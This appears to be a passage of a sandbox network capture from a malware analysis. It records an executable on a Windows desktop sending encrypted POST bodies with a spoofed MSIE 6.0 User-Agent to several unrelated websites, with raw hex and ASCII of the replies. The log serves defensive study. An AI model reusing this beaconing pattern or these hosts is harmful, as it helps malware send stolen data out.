Oct 25, 2024 11:17:44.348967075 CEST	1236	IN	Data Raw: 69 55 6b 56 45 53 56 4a 46 51 31 52 66 56 55 35 4a 55 56 56 46 58 30 6c 45 49 6a 6f 69 57 6e 68 30 61 55 35 34 55 58 5a 78 52 44 56 75 57 56 56 4a 63 47 67 32 64 47 5a 49 51 55 46 42 51 55 46 46 49 69 77 69 55 6b 56 45 53 56 4a 46 51 31 52 66 55 Data Ascii: iUkVESVJFQ1RfVU5JUVVFX0lEIjoiWnh0aU54UXZxRDVuWVVJcGg2dGZIQUFBQUFFIiwiUkVESVJFQ1RfU0NSSVBUX1VSTCI6IlwvIiwiUkVESVJFQ1RfU0NSSVBUX1VSSSI6Imh0dHA6XC9cL3d3dy5teXJvcGNiLmNvbVwvIiwiUkVESVJFQ1RfRE9DVU1FTlRfUk9PVCI6Ilwva3VuZGVuXC9ob21lcGFnZXNcLzlcL2QzMj
Oct 25, 2024 11:17:44.349020004 CEST	424	IN	Data Raw: 55 55 6b 6c 4f 52 79 49 36 49 69 49 73 49 6c 4e 44 55 6b 6c 51 56 46 39 4f 51 55 31 46 49 6a 6f 69 58 43 39 70 62 6d 52 6c 65 43 35 77 61 48 41 69 4c 43 4a 54 56 45 46 55 56 56 4d 69 4f 69 49 79 4d 44 41 69 4c 43 4a 50 55 6b 6c 48 58 31 42 42 56 Data Ascii: UUklORyI6IiIsIlNDUklQVF9OQU1FIjoiXC9pbmRleC5waHAiLCJTVEFUVVMiOiIyMDAiLCJPUklHX1BBVEhfSU5GTyI6IlwvaW5kZXgucGhwIiwiT1JJR19QQVRIX1RSQU5TTEFURUQiOiJcL2t1bmRlblwvaG9tZXBhZ2VzXC85XC9kMzI4MTUxODQ3XC9odGRvY3NcL2NsaWNrYW5kYnVpbGRzXC9teXJvcGNiXC9pbmRleC
Oct 25, 2024 11:17:44.349056005 CEST	1236	IN	Data Raw: 35 20 30 39 3a 31 37 3a 34 34 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 33 36 30 30 30 3b 20 70 61 74 68 3d 2f 0d 0a 0d 0a 35 35 31 38 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f Data Ascii: 5 09:17:44 GMT; Max-Age=31536000; path=/5518<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="zh-CN"pr
Oct 25, 2024 11:17:44.349093914 CEST	1236	IN	Data Raw: 3d 22 67 65 6e 65 72 61 74 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 41 6c 6c 20 69 6e 20 4f 6e 65 20 53 45 4f 20 28 41 49 4f 53 45 4f 29 20 34 2e 33 2e 34 2e 31 20 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f Data Ascii: ="generator" content="All in One SEO (AIOSEO) 4.3.4.1 " /><meta property="og:locale" content="zh_CN" /><meta property="og:site_name" content="MyRO PCB - Your reliable outsourcing partner!" /><meta property="og:type" content="website"
Oct 25, 2024 11:17:44.349128008 CEST	424	IN	Data Raw: 22 2c 22 6e 61 6d 65 22 3a 22 4d 79 52 4f 20 50 43 42 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 77 77 77 2e 6d 79 72 6f 70 63 62 2e 63 6f 6d 5c 2f 22 7d 2c 7b 22 40 74 79 70 65 22 3a 22 57 65 62 50 61 67 65 22 2c 22 40 69 64 22 3a 22 Data Ascii: ","name":"MyRO PCB","url":"http:\/\/www.myropcb.com\/"},{"@type":"WebPage","@id":"http:\/\/www.myropcb.com\/#webpage","url":"http:\/\/www.myropcb.com\/","name":"Home - MyRO PCB","description":"Unlock Seamless Sourcing with Myro! Let us be your
Oct 25, 2024 11:17:44.349164009 CEST	1236	IN	Data Raw: 35 3a 32 31 2d 30 34 3a 30 30 22 2c 22 64 61 74 65 4d 6f 64 69 66 69 65 64 22 3a 22 32 30 32 34 2d 30 34 2d 30 33 54 30 36 3a 33 38 3a 34 37 2d 30 34 3a 30 30 22 7d 2c 7b 22 40 74 79 70 65 22 3a 22 57 65 62 53 69 74 65 22 2c 22 40 69 64 22 3a 22 Data Ascii: 5:21-04:00","dateModified":"2024-04-03T06:38:47-04:00"},{"@type":"WebSite","@id":"http:\/\/www.myropcb.com\/#website","url":"http:\/\/www.myropcb.com\/","name":"MyRO PCB","description":"Your reliable outsourcing partner!","inLanguage":"zh-CN",
Oct 25, 2024 11:17:44.349200010 CEST	1236	IN	Data Raw: 6e 74 28 22 73 63 72 69 70 74 22 29 3b 74 2e 73 72 63 3d 65 2c 74 2e 64 65 66 65 72 3d 74 2e 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 2c 61 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 68 65 61 64 Data Ascii: nt("script");t.src=e,t.defer=t.type="text/javascript",a.getElementsByTagName("head")[0].appendChild(t)}for(o=Array("flag","emoji"),t.supports={everything:!0,everythingExceptFlag:!0},r=0;r<o.length;r++)t.supports[o[r]]=function(e){if(p&&p.fillT
Oct 25, 2024 11:17:44.354976892 CEST	1236	IN	Data Raw: 74 65 6e 74 4c 6f 61 64 65 64 22 2c 6e 2c 21 31 29 2c 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6c 6f 61 64 22 2c 6e 2c 21 31 29 29 3a 28 65 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 6c 6f 61 64 22 2c 6e 29 2c 61 2e 61 74 Data Ascii: tentLoaded",n,!1),e.addEventListener("load",n,!1)):(e.attachEvent("onload",n),a.attachEvent("onreadystatechange",function(){"complete"===a.readyState&&t.readyCallback()})),(e=t.source\|\|{}).concatemoji?c(e.concatemoji):e.wpemoji&&e.twemoji&&(c(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	52664	104.26.10.81	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:42.815929890 CEST	834	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 600 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.com-sit.com Cache-Control: no-cache Data Raw: 35 42 69 75 2f 76 70 79 70 76 78 43 53 56 5a 4e 6e 57 59 63 6e 54 33 71 4d 33 39 71 7a 6e 55 4f 7a 71 77 71 47 61 4c 6a 62 4a 41 39 2f 74 53 73 49 4f 38 79 6e 53 5a 48 48 69 54 4b 7a 36 6e 66 33 70 31 76 36 57 4a 39 5a 37 42 74 76 33 52 30 32 65 65 65 41 4c 6f 45 50 64 52 79 49 52 46 70 48 55 36 58 69 6a 34 38 77 51 45 31 32 62 66 48 34 41 35 43 44 36 75 76 47 38 61 33 73 57 36 77 5a 30 4d 4c 34 70 68 62 32 46 2f 75 57 57 56 49 48 65 46 4b 43 6b 71 42 6c 64 46 5a 33 55 4f 6a 78 48 33 72 7a 56 43 73 63 32 30 6b 6d 65 33 31 50 4c 6a 30 4d 45 73 47 54 2f 56 6c 35 77 32 71 4a 61 6e 37 49 70 59 76 37 52 4e 51 5a 53 74 4a 6e 77 45 45 2b 6f 52 37 7a 76 2f 64 36 70 4a 48 4b 35 63 4f 47 65 6a 51 67 75 55 6c 35 4a 46 58 7a 6e 56 6b 2b 39 6e 7a 5a 37 6b 43 44 49 33 4c 2b 7a 4f 53 50 33 33 75 34 51 38 57 66 45 50 33 38 66 62 6f 47 49 7a 77 79 4d 56 48 69 6b 66 76 59 68 57 45 5a 55 65 4a 31 4e 55 65 6c 79 4e 63 6b 39 74 75 79 53 6b 79 78 4e 50 70 6d 42 46 54 33 76 61 68 77 76 6c 67 4f 6c 69 66 34 38 48 64 75 37 [TRUNCATED] Data Ascii: 5Biu/vpypvxCSVZNnWYcnT3qM39qznUOzqwqGaLjbJA9/tSsIO8ynSZHHiTKz6nf3p1v6WJ9Z7Btv3R02eeeALoEPdRyIRFpHU6Xij48wQE12bfH4A5CD6uvG8a3sW6wZ0ML4phb2F/uWWVIHeFKCkqBldFZ3UOjxH3rzVCsc20kme31PLj0MEsGT/Vl5w2qJan7IpYv7RNQZStJnwEE+oR7zv/d6pJHK5cOGejQguUl5JFXznVk+9nzZ7kCDI3L+zOSP33u4Q8WfEP38fboGIzwyMVHikfvYhWEZUeJ1NUelyNck9tuySkyxNPpmBFT3vahwvlgOlif48Hdu7S/3POaoy9rVxtn+JvO+kjakAKXS1I+JCqZRMm+RX3Xzz7mJ/N6Mqb7A4T+BbWBFW/8p4sLukefpYe+Y5oKWF0xBefVJ/O7gpjDsMa7yYnxYJg+6XuSMV5N20AtNdlH45ZUry5/9/ghrugeY0U6LdMYyaqf9hIn0UckhnzEqW6L22Ky8/PYs9FQa9anqf/CZN3QRhVxIH0NK4HicPqjnX2/4EE5dyoc7K8qoKEGHV2AIt/wPZ8XDpnt7DFtUy//kHpD0AE=
Oct 25, 2024 11:17:44.590548992 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 09:17:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Link: <https://www.com-sit.com/wp-json/>; rel="https://api.w.org/", <https://www.com-sit.com/wp-json/wp/v2/pages/4380>; rel="alternate"; title="JSON"; type="application/json", <https://www.com-sit.com/>; rel=shortlink Cache-Control: max-age=0 Expires: Fri, 25 Oct 2024 09:17:43 GMT Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ApCuP9G6FbZbjAX0db%2FyMBUn3SEQT9Nt%2Br1MYz2Id0UTlCqaboHu4Fqva8F51ro97FVig6ylLBPS6li0TZwM08xZLKRkUkb7zT9Z9d6ZDN1H6m1Gzwpi4NSnk%2BhKBUQ7DQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d811d79fad02c89-DFW alt-svc: h3=":443"; ma=86400 Data Raw: 37 63 62 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 64 65 2d 44 45 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 2c 20 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 2c 20 6d 61 78 2d 73 6e 69 70 70 65 74 3a 2d 31 2c 20 6d 61 78 2d 76 69 64 65 6f 2d 70 72 65 76 69 65 77 3a 2d 31 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 68 72 65 66 6c 61 6e 67 3d 22 [TRUNCATED] Data Ascii: 7cb<!doctype html><html lang="de-DE"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><meta name='robots' content='index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1' /><link rel="alternate" hreflang="en" href=
Oct 25, 2024 11:17:44.590642929 CEST	212	IN	Data Raw: 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6f 6d 2d 73 69 74 2e 63 6f 6d 2f 65 6e 2f 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 68 72 65 66 6c 61 6e 67 3d 22 64 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f Data Ascii: "https://www.com-sit.com/en/" /><link rel="alternate" hreflang="de" href="https://www.com-sit.com/" /><link rel="alternate" hreflang="x-default" href="https://www.com-sit.com/" />... This site is optimized
Oct 25, 2024 11:17:44.590964079 CEST	1236	IN	Data Raw: 77 69 74 68 20 74 68 65 20 59 6f 61 73 74 20 53 45 4f 20 70 6c 75 67 69 6e 20 76 32 33 2e 37 20 2d 20 68 74 74 70 73 3a 2f 2f 79 6f 61 73 74 2e 63 6f 6d 2f 77 6f 72 64 70 72 65 73 73 2f 70 6c 75 67 69 6e 73 2f 73 65 6f 2f 20 2d 2d 3e 0a 09 3c 74 Data Ascii: with the Yoast SEO plugin v23.7 - https://yoast.com/wordpress/plugins/seo/ --><title>ComSIT Ihr nachhaltiger Spezialist fr elektronische Bauelemente</title><meta name="description" content="ber 100 Millionen Komponenten auf Lage
Oct 25, 2024 11:17:44.590995073 CEST	207	IN	Data Raw: 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6d 61 67 65 2f 70 6e 67 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 63 61 72 64 22 20 63 6f 6e 74 65 6e 74 3d 22 73 75 6d 6d 61 72 79 5f 6c 61 72 67 65 5f 69 6d 61 67 65 22 20 Data Ascii: " content="image/png" /><meta name="twitter:card" content="summary_large_image" /><script type="application/ld+json" class="yoast-schema-graph">{"@context":"https://schema.org","@graph":[{"@type":"WebP
Oct 25, 2024 11:17:44.591888905 CEST	1236	IN	Data Raw: 37 66 66 39 0d 0a 61 67 65 22 2c 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6f 6d 2d 73 69 74 2e 63 6f 6d 2f 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6f 6d 2d 73 69 74 2e 63 6f 6d 2f 22 2c 22 6e 61 6d 65 Data Ascii: 7ff9age","@id":"https://www.com-sit.com/","url":"https://www.com-sit.com/","name":"ComSIT Ihr nachhaltiger Spezialist fr elektronische Bauelemente","isPartOf":{"@id":"https://www.com-sit.com/#website"},"about":{"@id":"https://www.com-s
Oct 25, 2024 11:17:44.591941118 CEST	1236	IN	Data Raw: 6d 2f 23 62 72 65 61 64 63 72 75 6d 62 22 2c 22 69 74 65 6d 4c 69 73 74 45 6c 65 6d 65 6e 74 22 3a 5b 7b 22 40 74 79 70 65 22 3a 22 4c 69 73 74 49 74 65 6d 22 2c 22 70 6f 73 69 74 69 6f 6e 22 3a 31 2c 22 6e 61 6d 65 22 3a 22 53 74 61 72 74 73 65 Data Ascii: m/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Startseite"}]},{"@type":"WebSite","@id":"https://www.com-sit.com/#website","url":"https://www.com-sit.com/","name":"ComSIT","description":"Save ressources Rescue th
Oct 25, 2024 11:17:44.591978073 CEST	1236	IN	Data Raw: 20 26 72 61 71 75 6f 3b 20 46 65 65 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6f 6d 2d 73 69 74 2e 63 6f 6d 2f 66 65 65 64 2f 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d Data Ascii: » Feed" href="https://www.com-sit.com/feed/" /><link rel="alternate" type="application/rss+xml" title="ComSIT » Kommentar-Feed" href="https://www.com-sit.com/comments/feed/" /><style id='wp-emoji-styles-inline-css'>img.wp-smi
Oct 25, 2024 11:17:44.592087984 CEST	636	IN	Data Raw: 74 2d 2d 63 6f 6c 6f 72 2d 2d 63 79 61 6e 2d 62 6c 75 69 73 68 2d 67 72 61 79 3a 20 23 61 62 62 38 63 33 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 77 68 69 74 65 3a 20 23 66 66 66 66 66 66 3b 2d 2d 77 70 2d 2d 70 72 65 73 Data Ascii: t--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amb
Oct 25, 2024 11:17:44.592120886 CEST	1236	IN	Data Raw: 67 72 65 65 6e 2d 63 79 61 6e 2d 74 6f 2d 76 69 76 69 64 2d 67 72 65 65 6e 2d 63 79 61 6e 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 31 32 32 2c 32 32 30 2c 31 38 30 29 20 30 25 2c 72 67 62 28 30 2c 32 Data Ascii: green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgba(252,185,0,1) 0%,rgba(255,105,0,1) 100%);--wp--pr
Oct 25, 2024 11:17:44.592154026 CEST	1236	IN	Data Raw: 30 25 2c 72 67 62 28 31 31 33 2c 32 30 36 2c 31 32 36 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6d 69 64 6e 69 67 68 74 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 Data Ascii: 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-size--medium: 20px;--wp--preset--font-size--large: 36px;--wp--pres
Oct 25, 2024 11:17:44.596530914 CEST	1236	IN	Data Raw: 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 74 65 6d 70 6c 61 74 65 2e 69 73 2d 6c 61 79 6f 75 74 2d 66 6c 65 78 29 7b 67 61 70 3a 20 31 2e 32 35 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 74 Data Ascii: where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}.has-black-color{color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-color{color: var(--wp--preset--col

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	52667	85.131.197.10	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:43.790563107 CEST	801	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 568 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.stajum.com Cache-Control: no-cache Data Raw: 54 53 42 51 62 39 43 37 75 76 7a 6a 67 47 49 66 59 31 77 50 30 49 50 6e 6c 50 2f 34 44 69 4c 30 42 4d 43 47 5a 59 74 79 64 4b 4f 73 32 47 45 59 50 64 6e 77 46 78 33 64 58 30 79 4e 77 78 34 70 64 37 49 64 6d 62 36 35 33 36 6d 32 6b 32 45 37 48 65 74 39 72 4a 67 61 64 4c 48 72 33 56 62 47 4b 4c 4f 6f 77 54 75 43 30 2f 37 68 6d 69 63 6e 72 50 30 52 56 69 61 6a 34 58 65 41 64 78 59 7a 42 6d 6f 7a 4d 4f 2b 4f 59 6b 47 5a 32 34 6e 4a 59 54 63 4d 53 6c 72 43 6c 72 47 32 32 70 61 4f 59 6d 4d 41 35 53 50 6e 33 77 70 63 56 76 2f 61 76 36 37 4a 2f 35 38 46 59 55 51 42 41 53 70 7a 6a 55 52 4b 68 2f 63 45 37 63 44 5a 4b 30 78 6a 69 4c 7a 39 4d 39 4c 65 72 43 36 6b 2f 35 36 52 37 71 72 70 4b 50 78 66 48 4c 74 44 61 6e 4b 39 50 5a 48 51 63 7a 52 46 75 6a 52 4c 74 5a 44 6c 45 79 58 30 6f 5a 41 64 44 38 73 33 77 34 7a 39 39 56 4d 44 2b 68 65 58 58 2b 46 67 4e 30 46 34 41 65 63 65 6f 58 63 5a 2b 6e 4d 61 59 2f 42 6a 6d 56 6e 38 34 34 76 65 71 54 46 33 69 6e 56 47 31 43 6c 6e 63 77 72 57 7a 49 45 31 39 70 37 2f 79 46 [TRUNCATED] Data Ascii: TSBQb9C7uvzjgGIfY1wP0IPnlP/4DiL0BMCGZYtydKOs2GEYPdnwFx3dX0yNwx4pd7Idmb6536m2k2E7Het9rJgadLHr3VbGKLOowTuC0/7hmicnrP0RViaj4XeAdxYzBmozMO+OYkGZ24nJYTcMSlrClrG22paOYmMA5SPn3wpcVv/av67J/58FYUQBASpzjURKh/cE7cDZK0xjiLz9M9LerC6k/56R7qrpKPxfHLtDanK9PZHQczRFujRLtZDlEyX0oZAdD8s3w4z99VMD+heXX+FgN0F4AeceoXcZ+nMaY/BjmVn844veqTF3inVG1ClncwrWzIE19p7/yFZUgDxtoIU+queTNA2CquWy5s64IXmRWeEU0zAomdqYZ0MwWPyt977JTvs6F8AWTCgOaFUTGFn1rQNwy4++xDJpIEgO4Qa281dstn8i+DZMyp4oy5GDrHESeq10DFsQXgDymDJAwiMpJUBQKT6JUGEdK2/jgItBG97cuSj/QJbEENLKyqpN9vRgIXoXK4ndbTSU9QCAFkh1z7iDw7XO6LEmowAgVNILWBF2sYY=
Oct 25, 2024 11:17:44.645591974 CEST	442	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Fri, 25 Oct 2024 09:17:44 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 231 Connection: keep-alive Location: https://www.stajum.com/ Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 73 74 61 6a 75 6d 2e 63 6f 6d 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.stajum.com/">here</a>.</p></body></html>
Oct 25, 2024 11:17:44.832304001 CEST	801	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 568 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.stajum.com Cache-Control: no-cache Data Raw: 54 53 42 51 62 39 43 37 75 76 7a 6a 67 47 49 66 59 31 77 50 30 49 50 6e 6c 50 2f 34 44 69 4c 30 42 4d 43 47 5a 59 74 79 64 4b 4f 73 32 47 45 59 50 64 6e 77 46 78 33 64 58 30 79 4e 77 78 34 70 64 37 49 64 6d 62 36 35 33 36 6d 32 6b 32 45 37 48 65 74 39 72 4a 67 61 64 4c 48 72 33 56 62 47 4b 4c 4f 6f 77 54 75 43 30 2f 37 68 6d 69 63 6e 72 50 30 52 56 69 61 6a 34 58 65 41 64 78 59 7a 42 6d 6f 7a 4d 4f 2b 4f 59 6b 47 5a 32 34 6e 4a 59 54 63 4d 53 6c 72 43 6c 72 47 32 32 70 61 4f 59 6d 4d 41 35 53 50 6e 33 77 70 63 56 76 2f 61 76 36 37 4a 2f 35 38 46 59 55 51 42 41 53 70 7a 6a 55 52 4b 68 2f 63 45 37 63 44 5a 4b 30 78 6a 69 4c 7a 39 4d 39 4c 65 72 43 36 6b 2f 35 36 52 37 71 72 70 4b 50 78 66 48 4c 74 44 61 6e 4b 39 50 5a 48 51 63 7a 52 46 75 6a 52 4c 74 5a 44 6c 45 79 58 30 6f 5a 41 64 44 38 73 33 77 34 7a 39 39 56 4d 44 2b 68 65 58 58 2b 46 67 4e 30 46 34 41 65 63 65 6f 58 63 5a 2b 6e 4d 61 59 2f 42 6a 6d 56 6e 38 34 34 76 65 71 54 46 33 69 6e 56 47 31 43 6c 6e 63 77 72 57 7a 49 45 31 39 70 37 2f 79 46 [TRUNCATED] Data Ascii: TSBQb9C7uvzjgGIfY1wP0IPnlP/4DiL0BMCGZYtydKOs2GEYPdnwFx3dX0yNwx4pd7Idmb6536m2k2E7Het9rJgadLHr3VbGKLOowTuC0/7hmicnrP0RViaj4XeAdxYzBmozMO+OYkGZ24nJYTcMSlrClrG22paOYmMA5SPn3wpcVv/av67J/58FYUQBASpzjURKh/cE7cDZK0xjiLz9M9LerC6k/56R7qrpKPxfHLtDanK9PZHQczRFujRLtZDlEyX0oZAdD8s3w4z99VMD+heXX+FgN0F4AeceoXcZ+nMaY/BjmVn844veqTF3inVG1ClncwrWzIE19p7/yFZUgDxtoIU+queTNA2CquWy5s64IXmRWeEU0zAomdqYZ0MwWPyt977JTvs6F8AWTCgOaFUTGFn1rQNwy4++xDJpIEgO4Qa281dstn8i+DZMyp4oy5GDrHESeq10DFsQXgDymDJAwiMpJUBQKT6JUGEdK2/jgItBG97cuSj/QJbEENLKyqpN9vRgIXoXK4ndbTSU9QCAFkh1z7iDw7XO6LEmowAgVNILWBF2sYY=
Oct 25, 2024 11:17:45.088519096 CEST	442	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Fri, 25 Oct 2024 09:17:44 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 231 Connection: keep-alive Location: https://www.stajum.com/ Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 73 74 61 6a 75 6d 2e 63 6f 6d 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.stajum.com/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	52668	103.224.182.241	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:43.815763950 CEST	826	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 596 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.pupi.cz Cache-Control: no-cache Data Raw: 78 58 68 39 70 65 78 75 31 66 77 64 6e 62 76 59 31 35 32 44 38 76 38 77 73 31 74 45 31 71 64 46 34 4c 36 41 4d 4a 79 67 4d 67 45 34 58 53 76 4b 34 6d 78 77 30 52 57 56 30 47 46 6a 2f 6c 57 59 53 47 2b 56 39 43 42 6b 48 58 7a 6e 44 64 41 71 53 31 6e 56 65 61 36 2f 71 53 51 47 37 51 56 75 65 65 77 42 38 42 59 6b 55 53 56 62 48 54 4f 31 78 35 43 71 30 52 33 30 6c 56 48 67 34 52 53 44 74 79 6f 30 63 32 30 2b 67 45 44 79 46 58 43 48 4a 72 31 6f 4f 38 44 35 6e 69 64 53 79 47 41 76 33 43 32 64 32 51 64 43 2f 6a 33 53 4b 44 33 59 6d 34 4e 70 